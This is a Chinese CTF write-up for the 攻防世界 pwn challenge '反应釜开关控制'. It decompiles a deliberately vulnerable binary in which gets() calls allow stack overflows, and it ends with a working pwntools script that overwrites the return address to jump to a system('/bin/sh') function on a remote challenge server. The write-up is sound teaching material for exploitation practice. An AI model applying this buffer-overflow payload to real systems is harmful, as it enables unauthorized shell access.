攻防世界高手进阶区 ——反应釜开关控制

image-20220211150309641

题目没什么信息。

1.分析文件

image-20220211150452823

运行一下,可能为栈溢出的题。

checkse

image-20220211150540031

无栈溢出保护,无地址随机化,只有堆栈不可执行。

栈溢出可能性大。

ida64

1
2
3
4
5
6
7
8
9
10
11
12
13
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[64]; // [rsp+0h] [rbp-240h] BYREF
char v5[512]; // [rsp+40h] [rbp-200h] BYREF

write(1, "Please closing the reaction kettle\n", 0x23uLL);
write(1, "The switch is:", 0xEuLL);
sprintf(s, "%p\n", easy);
write(1, s, 9uLL);
write(1, ">", 2uLL);
gets(v5);
return 0;
}

给出了easy函数的地址,gets存在栈溢出漏洞。

1
2
3
4
5
6
7
8
9
10
11
12
13
__int64 easy()
{
char s[64]; // [rsp+0h] [rbp-1C0h] BYREF
char v2[384]; // [rsp+40h] [rbp-180h] BYREF

write(1, "You have closed the first switch\n", 0x21uLL);
write(1, "Please closing the second reaction kettle\n", 0x2AuLL);
write(1, "The switch is:", 0xEuLL);
sprintf(s, "%p\n", normal);
write(1, s, 9uLL);
write(1, ">", 2uLL);
return gets(v2);
}

跟进函数easy,和main函数类似,给出normal地址,存在栈溢出漏洞。

1
2
3
4
5
6
7
8
9
10
11
12
13
__int64 normal()
{
char s[64]; // [rsp+0h] [rbp-140h] BYREF
char v2[256]; // [rsp+40h] [rbp-100h] BYREF

write(1, "You have closed the first switch\n", 0x22uLL);
write(1, "Please closing the third reaction kettle\n", 0x2AuLL);
write(1, "The switch is:", 0xEuLL);
sprintf(s, "%p\n", shell);
write(1, s, 9uLL);
write(1, ">", 2uLL);
return gets(v2);
}

跟进函数normal,和前面的一样,暴露shell地址,存在漏洞。

1
2
3
4
int shell()
{
return system("/bin/sh");
}

shell函数为获取shell。

2.解题思路

最初我以为要通过暴露出来的地址一步一步溢出到shell地址,结果看其他大神的wp发现可以直接用ida分析出来的地址,貌似编译的时候没有开启aslr。对于linux安全机制不太清楚,导致浪费了太多时间。

所以直接通过main函数的栈溢出漏洞返回到shell函数的地址就行了。

3.解题脚本

image-20220211151906121

因为v5有512个字节,且为64系统,故填充512+8(ebp)个字节。

image-20220211152005745

shell的地址为0x4005F6

1
2
3
4
5
6
from pwn import *
p = remote(" 111.200.241.244" , "55652")
context(os = 'linux' , log_level = "debug")
payload = "a"*0x200 + 'a'*8 + p64(0x4005F6)
p.sendafter("is:",payload)
p.interactive()